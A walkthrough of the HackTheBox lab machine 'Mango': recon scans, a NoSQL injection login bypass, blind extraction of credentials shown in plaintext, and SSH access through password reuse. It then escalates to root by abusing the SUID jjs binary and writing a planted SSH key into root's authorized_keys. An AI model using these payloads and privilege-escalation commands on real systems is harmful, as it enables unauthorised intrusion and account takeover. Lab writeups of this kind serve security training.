Thumbnail: gravatar

HacktheBox 'Mango' writeup

by on under writeups
19 minute read

‘Mango’ HTB Writeup


Host Information

Hostname IP Address Operating System Difficulty Level
Mango Linux Medium

Mango HTB Info card


view all writeups here




Initial Recon



nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/mango/scans/_full_tcp_nmap.txt" -oX "/HTB/mango/scans/xml/_full_tcp_nmap.xml"

The following ports were revealed open on the target, followed by the full nmap script ouput below:

Port State Service Version
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29
443/tcp open http Apache httpd 2.4.29

nmap scan output

# Nmap 7.80 scan initiated Thu Aug 27 13:57:04 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/mango/scans/_full_tcp_nmap.txt -oX /HTB/mango/scans/xml/_full_tcp_nmap.xml
Nmap scan report for
Host is up, received user-set (0.031s latency).
Scanned at 2020-08-27 13:57:04 CDT for 52s
Not shown: 65532 closed ports
Reason: 65532 resets
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYCdNRHET98F1ZTM+H8yrD9KXeRjvIk9e78JkHdzcqCq6zcvYIqEZReb3FSCChJ9mxK6E6vu5xBY7R6Gi0V31dx0koyaieEMd67PU+9UcjaAujbDS3UgYzySN+c5GV/ssmA6wWHu4zz+k+qztqdYFPh0/TgrC/wNPWHOKdpivgoyk3+F/retyGdKUNGjypXrw6v1faHiLOIO+zNHorxB304XmSLEFswiOS8UsjplIbud2KhWPEkY4s4FyjlpfpVdgPljbjijm7kcPNgpTXLXE51oNE3Q5w7ufO5ulo3Pqm0x+4d+SEpCE4g0+Yb020zK+JlKsp2tFJyLqTLan1buN
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqSZ4iBMzBrw2lEFKYlwO2qmw0WPf76ZhnvWGK+LJcHxvNa4OQ/hGuBWCjVlTcMbn1Te7D8jGwPgbcVpuaEld8=
|   256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1sFdLYacK+1f4J+i+NCAhG+bj8xzzydNhqA1Ndo/xt
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Issuer: Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
| SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
| b3JkZXIubWFuZ28uaHRiMR4wHAYJKoZIhvcNAQkBFg9hZG1pbkBtYW5nby5odGIw
| f5a25At3Ht5r1SjiIuvovDSmMHjVmlbF6qX7C6f7Um+1Vtv/BinZfpuMEesyDH0V
| G/4X5r6o1GMfrvjvAXQ2cuVEIxHGH17JM6gKKEppnguFwVMhC4/KUIjuaBXX9udA
| 9eaFJeiYEpdfSUVysoxQDdiTJhwyUIPnsFrf021nVOI1/TJkHAgLzxl1vxrMnwrL
| 2fLygDt1IQN8UhGF/2UTk3lVfEse2f2kvv6GbmjxBGfWCNA/Aj810OEGVMiS5SLr
| arIXCGVl953QCD9vi+tHB/c+ICaTtHd0Ziu/gGbdKdCItND1r9kOEQIDAQABo1Mw
| AAOCAQEAmyhYweHz0az0j6UyTYlUAUKY7o/wBHE55UcekmWi0XVdIseUxBGZasL9
| HJki3dQ0mOEW4Ej28StNiDKPvWJhTDLA1ZjUOaW2Jg20uDcIiJ98XbdBvSgjR6FJ
| JqtPYnhx7oOigKsBGYXXYAxoiCFarcyPyB7konNuXUqlf7iz2oLl/FsvJEl+YMgZ
| YtrgOLbEO6/Lot/yX9JBeG1z8moJ0g+8ouCbUYI1Xcxipp0Cp2sK1nrfHEPaSjBB
| Os2YQBdvVXJau7pt9zJmPVMhrLesf+bW5CN0WpC/AE1M1j6AfkX64jKpIMS6KAUP
| /UKaUcFaDwjlaDEvbXPdwpmk4vVWqg==
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Aggressive OS guesses: AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.2 - 4.9 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.18 (92%), Linux 2.6.32 (92%), Linux 3.16 (91%), Android 4.1.2 (90%), Android 4.2.2 (Linux 3.4) (90%), Linux 3.1 - 3.2 (90%)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 21.366 days (since Thu Aug  6 05:10:37 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
1   30.53 ms
2   30.62 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Aug 27 13:57:57 2020 -- 1 IP address (1 host up) scanned in 52.70 seconds


nmap scan observations

We can see that the target is Linux, likely Ubuntu based on the OS detection scripts from nmap and the banner grab from the SSH Service. Three ports/services are shown externally visible: Two services running Apache 2.4.29, one on using HTTP on standard TCP port 80, and the other using HTTPS on standard TCP port 443, as well as OpenSSH 7.6p1 which was running on the standard TCP port 22.


HTTP Enumeration

Beginning with enumeration of the HTTP service, we see that robots.txt file was not present on the server. A nikto scan against port 80 was also run but reported nothing of note. Addtionally a web crawl scan of the server on port 80 seemed to show all 403 status pages (using seclists web discovery common.txt list.) Going to the main page of the server on port 80 explains this result, as this page is also forbidden, as shown below.

Forbidden Status on webserver on port 80


HTTPS Enumeration

The HTTPS webserver on the other hand seems to load a page that looks much like the Google search engine, as shown below.

Mango Search main page on HTTPS

A robots.txt file was not found on this server either. A nikto scan was run against port 443 with the following reuslts:

- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        443
+ SSL Info:        Subject:  /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/
+ Start Time:         2020-08-27 13:57:23 (GMT-5)
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '' does not match certificate's names:
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2020-08-27 14:15:13 (GMT-5) (1070 seconds)
+ 1 host(s) tested

A gobuster scan against the HTTPS service was slso run using the same common.txt wordlist, returning 3 entries that did not show as a 403 status.

/analytics.php (Status: 200) [Size: 397607]
/index.php (Status: 200) [Size: 5152]
/index.php (Status: 200) [Size: 5152]

Going to the analytics.php page presents an interesting BI/Analytics page, shown below:

Analytics page on Mango

Poking around a bit, there seemed to be a number of potential attack paths, such as attempting commmand injection via an imported js or csv file with the import local file function, or potentially trying SQL or NoSQL injection (thinking the host might have a mongoDB backend) in the main index.php page. However, none of these seemed easily viable, so further enumeration was done. Viewing the options within the page as well as the page source, we have an idea the the application or part of the applications functionality may be FlexMonster, but there seems no obvious way to definitively determine that at the moment.

We can recall a message from the nikto scan on port 443 that the cert CN did not match the site domain. We can add the following to our /etc/hosts file and see what happens:

#remove after HTB mango    mango.htb

When going back to the HTTPS site, we notice and interesting error on the analytics page when using the URL. [The main search base URL at] seems fine, however.

Error on analytics.php with hosts file update

Even more interestingly, when going to the URL without HTTPS, we get a new page loaded, implying that some apache virutal hosts or ACL restrictions are in place. The new page is shown below.

HTTP site after hosts update.

From here we can run another web crawler enumeration script and nikto against the new URL. Ffuf was run with common.txt and found the following results:

home.php                [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php               [Status: 200, Size: 4022, Words: 447, Lines: 210]
index.php               [Status: 200, Size: 4022, Words: 447, Lines: 210]
vendor                  [Status: 301, Size: 335, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue:
[INFO] Scanning:
composer                [Status: 301, Size: 344, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue:
[INFO] Scanning:
LICENSE                 [Status: 200, Size: 2918, Words: 443, Lines: 57] shows a license for ‘Composer’ but nothing immediately comes of that.

Because of the name of the box, and the json files found earlier, it’s likely that the backend database giving login information is MongoDB, or some other type of NoSQL DB. We can begin by trying some basic NoSQL injection payloads. Some great resources can be found from HatTricker here and from the PayloadAllTheThings github repo here

It’s a good idea to fire up burp suite for this, so i’ll do that, adding exclusively to the scope. Initially an entry of ' || 1==1// was tried in both the username and password fields on the page in the browser, with no luck. Next, the username and password fields were each filled with [$ne]=doesnotexist, like shown below, which was also successful.

Testing NoSQL injection for login on 'Mango'

We can see from burp that the request is a POST, so we send that request to the Repeater and modify and resend it. Trying to place these queries in the POST request body content and send them also results in failure, refreshing the page and showing a 200 OK HTTP status as the login page reloads. The following variations were tried in burp unsuccessfully:

username=' || 1==1//&password=' || 1==1//&login=login

However, I then noticed a detail I’d overlooked on the original payload - the not equals evaluator $[ne] belongs before the =, right next to the field name. Otherwise the statement will fail to evaluate properly. Removing the equals sign right after the username and password field name results in a request body like so:


Sending this request does indeed appear to be successful, giving the following 302 Found status on a new page, home.php. The HTTP Raw Reponse headers as well as a screenshot of the burp repeater request are shown below. (These were run the day after rooting the host to include in the writeup, in case you were wondering about the date mistmatch.)

HTTP/1.1 302 Found
Date: Fri, 28 Aug 2020 16:41:16 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: home.php
Content-Length: 4022
Connection: close
Content-Type: text/html; charset=UTF-8

NOSQL auth bypass in burp

Sending this to the browser, we see a successful login, with home.php shown below.

Mango homepage by authentication bypass

There doesn’t seem to be much here however, except the admin@mango.htb address which is notable. Viewing the page source and running another gobuster web crawl from here did not provide much of use either.

Now that we know the DB is vulnerable to NoSQL injection however, let’s see if we can use that to pull values from the database. I found a good python script to do this at the github URL below. Let’s clone this repository, check the usage info, then run the script.

So in the below command we are specifying the fields and HTTP request type which we know from intercepting the requests in burp. Here we are telling the script to try and inject NoSQL in the username field to try and enumerate/fuzz values. This is possible in certain MongoDB configs where an injection can be used to evaluate true or false statements, much like blind SQL injections in SQLMap. Thus one by one we get characters for valid usernames.

initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python -u -up username -pp password -op login=login -ep username -m POST

And the end results once finished:

2 username(s) found:

We’ll perform the same thing for the password field now:

initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python -u -up username -pp password -op login=login -ep password -m POST

And again the results:

2 password(s) found:

So we have 2 possibilities to try, and quickly find that admin / t9KcS3>!0B#2 worked. We’re shown the following:

Home page of Mango


gaining an initial foothold

Trying those credentials for ssh did not work, however using “mango / h3mXK8RhU~f{]f5H” does result in a successful shell as the mango user, as shown below.

Initial shell as user 'mango' on target


Lateral Movement

We see running sudo -l that the mango user does not have permissions to run sudo. Viewing the /etc/passwd file also confirms that the admin user exists:


While we couldn’t SSH as the user, that user may have been disallowed from SSH loogin by the SSH config on the system. Let’s try to swithc user with the password we gained earlier.

Lateral movement to 'admin' user

Great, so we see that this worked, and that we have access to the user.txt flag now.


Privilege Escalation


PrivEsc Enumeration

Now as the user admin, let’s proceed to see how we can get root. Running sudo -l and crontab -l we see we do not have permissions to run sudo, and no crontabs for the user. Next let’s query for root SUID binaries that we might be able to run as our standard user, have the process execute as root, and abuse the functionality to gain a shell.

admin@mango:/home/admin$ find /* -user root -perm -4000 -print 2>/dev/null | grep -v snap

Two items quickly stick out as nonstandard to me - run-mailcap, and jjs. Let’s start by looking at get-mailcap.


Gaining a root shell

A quick search for run-mailcap on GTFObins shows that we can likely abuse the binary functionality to gain a shell from the application - let’s give it a try. Viewing /etc/hosts and then entering !/bin/sh on the “less” screen does pop a shell, but only one as our current user, unfortunately.

admin@mango:/home/admin$ /usr/bin/run-mailcap --action=view /etc/hosts
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ exit

It’s possible that run-mailcap or less has been updated, or there’s some other defence/protection in play. Let’s look at jjs next.

We also see an entry for jjs on GFTObins

Running the following command should spawn a shell, if successful:

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We can also see that jjs is linked to our SUID binary’s absolute path.

admin@mango:/home/admin$ which jjs
admin@mango:/home/admin$ ls -ltr /usr/bin/jjs
lrwxrwxrwx 1 root root 21 Sep 27  2019 /usr/bin/jjs -> /etc/alternatives/jjs
admin@mango:/home/admin$ ls -ltr /etc/alternatives/jjs
lrwxrwxrwx 1 root root 42 Sep 27  2019 /etc/alternatives/jjs -> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

However, trying this seems to result in an unresponsive shell, with the process needing to be killed.

admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs                                                                                                                      
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()

A few other methods are tried on the GFTOBins page, with little success. We can grab the /etc/shadow password from a read function within jjs successfully, meaning we could use unshadow to combine both the passwd and shadow files to try to crack the root password, but this would be a sub-optimal route. Additionally, the reverse shell method was tried, resulting in a shell that immediately died.

However, there is a write function that exists for JJS, so we have a few options:

  • add an entry to /etc/passwd with a new user with UID 0/root permissions

This method would nice and effective but from the syntax of the command in GFTObins, there’s no garuntee it wouldn’t overwrite the entire file. So it’s best to probably create a completely new file. Which leaves us with at two or three least other options using the jjs’s write function:

  • Create a script to spawn a reverse shell and then again use the write functionality to add a root cron job to run it

  • Create an SSH key locally and transfer the public key to root’s .ssh folder to see if that would allow for login

  • Write a file to spawn a local or reverse shell and have another jjs command perform an execution of the file.

Due to the seeming instability of the jjs execution function with reverse and local shells in the prior methods, one of the former two methods are probably more ideal. The cron job option is definitely viable, but the SSH method seems a little more straightforward, so let’s go with that.

Sense the login needs to be root, the key needs to be generated as a root user, and thus this needs to be done on our kali system obviously. We can generate the keypair with:

initinfosec@kali:/0ps/HTB/mango/loot$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/initinfosec/.ssh/id_rsa): /0ps/HTB/mango/loot/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /0ps/HTB/mango/loot/id_rsa
Your public key has been saved in /0ps/HTB/mango/loot/
The key fingerprint is:
SHA256:4OLUmkQ7u0gN6FmVNC7twJWv3bNbYm4qRU0x4oNTdnM initinfosec@kali
The key's randomart image is:
+---[RSA 3072]----+
|     +.+ =.E     |
|  . =.B o.+      |
|   +.Booo        |
| . .=+.+..       |
|. ..*.* S        |
|. o* B o o       |
| o. * .  oo.     |
| . . o  ooo      |
|  . . ..oo.      |

Now let’s copy the contents of the key, and then form our jjs write command, making sure to save the file as /root/.ssh/authorized_keys so that the server will accept the key.

echo 'var FileWriter = Java.type("");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUcwhbMNQDaiyfOmbDqsJzKXMEtsUmxYNg9Gh2yiigzMqR5wTDpr3D74U3fO1PJ5tsahTc7WuAMnmhkaKl9oQRBhiqAl/6Pa39VeK8fKKxL9ooCvVP23k+PEKIc9oI9iKff9mqYf8dk3l32YJOa9j/boSYVcTGTMc7NgqkWokvjo7V5a1o9p44YM0+QI9s1t00Jqj9AgZnHt4zbEJaE4G6Inom8w/ZljBRG1OkorvdGov4PBOxmlsI0r3ZbHjSfTqsUvKZkvG2gQDSdUHU1sM+Mz8FS+1dpyU3VEG6EugjbiESUN7NnrFSK1y6x5nnLVA5RCy7LMiaJu94icFJ6nnbOEQ5TP05KNazdiTMOp/3KeG0jbQiYXScAyfVv7iJuAqrnWGwAarGVRwIIG6kAxZxXFBR1qve0Bz5HfET9bcbsyyJBSyGIGMpgk2FfcbdjMQi1TgAZVMiEeyEFw75ReLfnNlxbTSlUYGEgJ5qYqKsqJBD5PjLFFFQ7vbGw3T3E0E=");
fw.close();' | jjs

As shown below, the command seemed to execute with no error:

SSH key write via jjs

And now to test if it worked, let’s connect from kali to the target:

Root shell on target 'Mango'

We see that it was successful, allowing us to gain root access to the Mango host by exploiting an SUID applications functions to escalate our privileges.





  • Harden the mango backend database to better santize user input to avoid NoSQL injection and information leakage.

  • Credentials for different services should ideally vary even for the same accounts. SSH access credentials should differ from those used in the website database - password resuse proves a large security risk and enables much easier access and lateral movment for potential malicious actors.

  • Audit and review permissions on the system, such as the SUID binary jjs exploited to gain root permissions on the assessment. Consider removing the binary if not necessary, or restricting permissions so that the jjs application is not a root SUID privileged binary, if possible.



All for now; until next time.


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus